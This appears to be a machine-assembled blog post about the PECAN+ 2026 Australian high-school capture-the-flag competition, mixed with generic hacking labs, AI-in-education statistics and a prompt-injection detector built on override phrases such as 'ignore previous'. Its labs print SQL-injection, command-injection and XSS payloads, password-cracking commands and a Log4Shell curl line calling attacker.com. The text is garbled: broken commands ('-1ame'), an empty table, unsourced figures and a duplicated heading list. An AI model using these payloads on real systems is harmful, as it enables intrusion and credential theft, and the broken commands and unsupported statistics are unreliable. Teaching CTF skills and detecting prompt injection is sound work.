PECAN+ CTF 2026: Bridging The Cyber Skills Gap Through National Capture-The-Flag Competition + Video

Introduction:

As 40 high school students and cadets gathered for the PECAN+ cyber security competition event, Professor Jun Shen’s reflection on the future of universities and the value of tertiary degrees in an AI-driven era strikes at the heart of a growing educational dilemma. The PECAN+ Capture The Flag (CTF) competition—a national Australian initiative founded by Edith Cowan University in 2019—represents a paradigm shift in how cybersecurity education is delivered, moving beyond traditional lecture-based learning into immersive, hands-on skill development. With challenges spanning cryptography, digital forensics, open source intelligence (OSINT), reverse engineering, steganography, and web exploitation, PECAN+ offers beginner, intermediate, and advanced high school students in Years 10–12 a practical gateway into the cybersecurity profession. Yet beneath the excitement of competition lies a sobering question: as AI reshapes both the threat landscape and the educational playing field, is higher education keeping pace—or is the digital divide widening faster than institutions can respond?

Learning Objectives & Secrets:

Objective 1: Master Core CTF Challenge Categories – Participants develop proficiency across cryptography (decrypting ciphers and hashes), digital forensics (analyzing disk images and memory dumps), OSINT (reconnaissance using publicly available data), reverse engineering (decompiling binaries), steganography (hiding and extracting data from images/audio), and web exploitation (SQL injection, XSS, and parameter manipulation). Secret tip: Start with OSINT and steganography—they require minimal setup and often yield the quickest flags, building confidence before tackling reverse engineering.
Objective 2: Leverage Virtualized Toolkits for Rapid Skill Acquisition – PECAN+ provides competitors with access to Kasm Workspaces, delivering a full Kali Linux instance and cybersecurity toolkit directly through a browser. Secret tip: Practice navigating Kali’s menu structure and terminal before competition day—knowing where to find burpsuite, wireshark, john, and `hashcat` saves precious minutes during timed challenges.
Objective 3: Apply AI-Augmented Analysis Without Becoming Over-Reliant – While AI tools like ChatGPT can assist in decoding scripts or suggesting attack vectors, the competition emphasizes foundational understanding. Secret tip: Use AI for pattern recognition in large datasets (e.g., log analysis) but never for direct flag submission—challenge designers intentionally obfuscate flags to resist automated solving.

You Should Know:

The PECAN+ Ecosystem: From Perth vs. Canberra to National Cyber Pipeline

PECAN+ began in 2019 as a friendly “Perth versus Canberra” competition, hence the name “PeCan”. By 2022, over 200 students across five states and territories participated, with the introduction of Azure Labs providing Kali Linux instances for each competitor. The 2023 competition expanded to over 400 participants across seven states and territories. In 2024, Kasm Workspaces replaced Azure Labs, offering browser-based virtual machine access, and the Northern Territory joined the competition. By 2025, an incredible 115 teams competed across 11 sites nationwide. The 2026 event, hosted at the University of Wollongong, promises continued growth with sponsorship from the Australian Signals Directorate (ASD), KASM Technologies, AISA, CyberWest Hub, Triskele Labs, and LevelBlue.

The competition’s structure mirrors professional cybersecurity operations: teams of up to four students collaborate under time pressure to solve challenges and capture “flags”—strings of text that validate successful exploitation. A Training Day precedes the competition, building skills in virtual machines, Linux, and ethical hacking. This model directly addresses Australia’s critical shortage of cybersecurity workers, with the nation needing thousands of additional professionals annually.

Hands-On Lab: Linux Command Line Fundamentals for CTF Success

Every CTF competitor must master the Linux command line. Below is a curated set of commands essential for PECAN+ challenges, drawn from the Bandit wargames and standard CTF practice:

File System Navigation & Investigation:

ls -la  List all files with permissions and hidden files
find / -1ame ".flag" 2>/dev/null  Search the entire system for flag files
grep -r "FLAG{" /var/www/  Recursively search for flag patterns in web directories
cat /etc/passwd | cut -d: -f1  Extract usernames from password file

Data Encoding & Decoding (Critical for Steganography & Crypto):

base64 -d encoded.txt > decoded.txt  Decode base64-encoded content
echo "SGVsbG8=" | base64 -d  Decode inline base64 string
xxd -r -p hex.txt > binary_output  Convert hex dump back to binary
file mystery_file  Identify file type (JPEG, PNG, ZIP, etc.)
strings suspicious_binary | grep "FLAG"  Extract human-readable strings from binaries

Network Reconnaissance:

nmap -sV -p- 192.168.1.100  Version scan all ports on target
curl -I http://target.com  Fetch HTTP headers (reveals server info, cookies)
wget -r -l 1 http://target.com/robots.txt  Download robots.txt for directory hints

Password Cracking (Ethical Use Only):

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt  Crack password hashes
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt  GPU-accelerated cracking

Step-by-Step Guide:

Environment Setup: Access the Kasm Workspaces instance provided by PECAN+ or install Kali Linux locally via VirtualBox.
Initial Recon: Run `nmap -sV` on the challenge IP to identify open ports and services.
Web Enumeration: Use `gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt` to discover hidden directories.
Flag Extraction: When you find a suspicious file, run `file` to identify its type, then apply appropriate decoding (base64, xxd, openssl enc -d).
Documentation: Save every command and output—CTFs often require chaining multiple steps, and revisiting your history (history | grep keyword) prevents rework.

3. Hands-On Lab: Web Application Security Exploitation

Web exploitation is a cornerstone of PECAN+ challenges. Below are practical SQL injection and cross-site scripting (XSS) techniques:

SQL Injection (Classic UNION-based):

' UNION SELECT null,username,password FROM users --
' OR '1'='1' --  Bypass authentication
' UNION SELECT @@version,null,null --  Database fingerprinting

Command Injection (Linux):

; whoami  Execute system command after legitimate input
| id  Pipe output to id command
$(cat /etc/passwd)  Command substitution

XSS Payloads (Reflected & Stored):

<script>alert('XSS')</script>
<img src=x onerror=alert('FLAG')>
<script>fetch('/flag.txt').then(r=>r.text()).then(alert)</script>

Step-by-Step Guide:

Identify Input Vectors: Test every form field, URL parameter, and HTTP header.
Fingerprint the Database: Use `’ AND 1=1 –` and `’ AND 1=2 –` to test vulnerability, then extract database version with `@@version` or version().
Enumerate Tables: Use ' UNION SELECT table_name,null FROM information_schema.tables --.
Extract Credentials: Once you identify a `users` table, dump usernames and password hashes.
Escalate: Crack hashes with `hashcat` or john, then use credentials to access restricted areas.

Mitigation (Defender’s Perspective):

Use parameterized queries (prepared statements) exclusively.
Implement input validation whitelists (e.g., regex for expected formats).
Deploy Web Application Firewalls (WAF) like ModSecurity with OWASP Core Rule Set.
Conduct regular penetration testing and code reviews.

AI’s Double-Edged Sword: Enhancing and Undermining Cybersecurity Education

Professor Shen’s observation about the difficulty of researching AI’s impact on students is validated by recent studies. A 2025 peer-reviewed study found that 68% of students reported academic improvement from AI tools, with higher adoption in Business and Social Sciences than Engineering and Humanities. Principal Component Analysis revealed that 63.69% of AI adoption variance is explained by improved study habits and understanding of complex concepts. However, 48% of rural students reported inadequate AI tool access, underscoring persistent inequities.

Simultaneously, a 2025 Open University study found that 83% of distance learning students regularly experience internet access issues, with 66% based in rural areas. While 78% of students already use AI for study, only 56% can afford required digital technologies. Those struggling financially correlate significantly with academic disruption, failing assignments, and poor engagement. Alarmingly, 27% of respondents are already purchasing premium AI tools, creating a tiered system where wealthier students gain competitive advantages.

Practical AI Security Lab (Defensive):

 Simple prompt injection detection using pattern matching
import re
def detect_prompt_injection(input_text):
patterns = [r'ignore previous', r'forget all', r'system prompt', r'developer mode']
for pattern in patterns:
if re.search(pattern, input_text, re.IGNORECASE):
return True
return False

Input sanitization for LLM applications
def sanitize_llm_input(user_input):
dangerous = ['<script>', '{%', '{{', '${', 'DROP TABLE', 'DELETE FROM']
for item in dangerous:
user_input = user_input.replace(item, '')
return user_input

OWASP LLM Top 10 Mitigations:

Prompt Injection: Implement strict input filtering and role-based prompt engineering.
Insecure Output Handling: Never directly render LLM output without escaping.
Training Data Poisoning: Validate all training data sources and implement anomaly detection.
Model Denial of Service: Rate-limit API calls and implement token usage caps.
Supply Chain Vulnerabilities: Regularly audit third-party models and libraries.

Bridging the Digital Divide: Infrastructure and Policy Recommendations

The digital divide manifests across multiple dimensions: connectivity, device access, digital literacy, and now AI tool access. The 2025 Digital Council global survey highlights a growing AI digital gap among higher education students. Students without AI access face severe disadvantages in an increasingly AI-integrated academic environment.

Actionable Steps for Institutions:

Infrastructure Investment: Provide subsidized or free high-speed internet and devices to disadvantaged students.
AI Literacy Programs: 78% of students want universities to provide more AI-related training.
Equitable AI Access: Universities should license premium AI tools and make them available to all students, not just those who can afford subscriptions.
Ethical Guidelines: Develop clear policies on AI use in assessments, addressing data privacy concerns (cited by 51% of students) and over-dependency (42%).
Partnership Models: Collaborate with industry partners (as PECAN+ does with ASD and KASM) to provide free, scalable training environments.

6. Cloud Security Hardening for CTF Environments

PECAN+ leverages cloud infrastructure (Azure Labs, Kasm Workspaces) to deliver scalable training environments. Securing these environments is critical:

Azure/Cloud Security Checklist:

 Audit Azure security posture (Azure CLI)
az security assessment list --subscription <subscription-id>
az defender-for-cloud auto-provisioning-setting show

Check for open network security groups
az network nsg list --query "[].securityRules[?access=='Allow' && direction=='Inbound']"

Enable Azure Sentinel for threat detection
az sentinel workspace-manager --workspace-1ame <workspace>

Kasm Workspaces Security Configuration:

Isolate each user session using containerization (Docker).
Implement session timeouts and activity monitoring.
Regularly rotate base images and apply security patches.
Restrict outbound network access to prevent data exfiltration.

Hardening Recommendations:

Network Segmentation: Place CTF environments in isolated VNets with no production access.
Credential Management: Use Azure Key Vault or AWS Secrets Manager for all API keys.
Logging & Monitoring: Enable comprehensive audit logging and integrate with SIEM tools.
Zero Trust Architecture: Assume breach—validate every request, enforce least privilege.

7. Vulnerability Exploitation and Mitigation: Real-World Parallels

The skills developed in PECAN+ directly translate to professional cybersecurity roles. Below are real CVEs and their CTF-style analogs:

||-|-|-|

Step-by-Step Exploitation (Educational):

 Simulating Log4Shell in a CTF environment
curl -X POST http://target:8080/api -H "User-Agent: \${jndi:ldap://attacker.com/a}"
 If vulnerable, the server will connect to attacker's LDAP server

Mitigation: Disable JNDI lookups
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar

What Undercode Say:

Key Takeaway 1: Hands-on competition bridges the gap between theoretical knowledge and practical cybersecurity skills. PECAN+ demonstrates that immersive, gamified learning—with real Linux environments, virtualized toolkits, and industry-relevant challenges—outperforms traditional lecture-based instruction in preparing students for cybersecurity careers. The competition’s growth from 200 to over 550 participants in just four years validates this model.
Key Takeaway 2: AI is both an enabler and a threat multiplier in education. While AI tools enhance learning outcomes for 68% of students, they also exacerbate the digital divide—48% of rural students lack adequate access. Institutions must proactively provide equitable AI access and literacy programs, or risk creating a two-tiered educational system where wealth determines technological advantage.
Key Takeaway 3: The future university must evolve beyond content delivery to skill cultivation. Professor Shen’s reflection on whether tertiary degrees remain “worthwhile” in an AI era is prescient. As AI automates routine knowledge work, universities must pivot toward experiential learning, industry partnerships, and ethical reasoning—areas where human judgment remains irreplaceable. PECAN+ offers a blueprint: free, accessible, and aligned with workforce needs.

Prediction:

+1 The PECAN+ model will be adopted internationally within 3–5 years, with similar CTF competitions launching in the US, UK, and Singapore as governments recognize the ROI of early cybersecurity pipeline development.
+1 AI-powered personalized CTF training platforms will emerge, using machine learning to adapt challenge difficulty to individual skill levels, dramatically accelerating skill acquisition.
-1 The AI digital divide will widen unless governments mandate subsidized AI tool access for all higher education students—without intervention, socioeconomic disparities in AI literacy will translate into long-term workforce inequalities.
-1 Traditional university cybersecurity programs will face enrollment declines as employers prioritize CTF experience and industry certifications over degrees, forcing curriculum overhauls toward project-based, competition-integrated learning.
+1 Cloud-1ative CTF platforms like Kasm Workspaces will become the standard for cybersecurity education, reducing infrastructure costs and enabling global participation while maintaining isolated, secure environments.
-1 Without robust ethical guidelines, the proliferation of AI-assisted CTF solving will undermine the integrity of competitions, necessitating new anti-AI detection mechanisms and live, proctored challenge formats.
+1 The integration of OWASP LLM Top 10 vulnerabilities into CTF curricula will produce a new generation of security professionals equipped to defend against AI-specific threats, addressing the projected shortage of AI security specialists.
-1 Universities that fail to address the digital divide will lose relevance, as students increasingly opt for alternative pathways—bootcamps, apprenticeships, and direct industry training—that offer immediate, practical skill validation.

▶️ Related Video (84% Match):

https://www.youtube.com/watch?v=-EJkzXtYelw

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: https://lnkd.in/p/e399MhUN – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Listen to this Post

Introduction:

Learning Objectives & Secrets:

You Should Know:

File System Navigation & Investigation:

Network Reconnaissance:

Password Cracking (Ethical Use Only):

Step-by-Step Guide:

3. Hands-On Lab: Web Application Security Exploitation

SQL Injection (Classic UNION-based):

Command Injection (Linux):

XSS Payloads (Reflected & Stored):

Step-by-Step Guide:

Mitigation (Defender’s Perspective):

Practical AI Security Lab (Defensive):

OWASP LLM Top 10 Mitigations:

Actionable Steps for Institutions:

6. Cloud Security Hardening for CTF Environments

Azure/Cloud Security Checklist:

Kasm Workspaces Security Configuration:

Hardening Recommendations:

7. Vulnerability Exploitation and Mitigation: Real-World Parallels

||-|-|-|

Step-by-Step Exploitation (Educational):

What Undercode Say:

Prediction:

▶️ Related Video (84% Match):

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

🚀 Request a Custom Project:

IT/Security Reporter URL:

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

📢 Follow UndercodeTesting & Stay Tuned:

Share this:

Related Posts: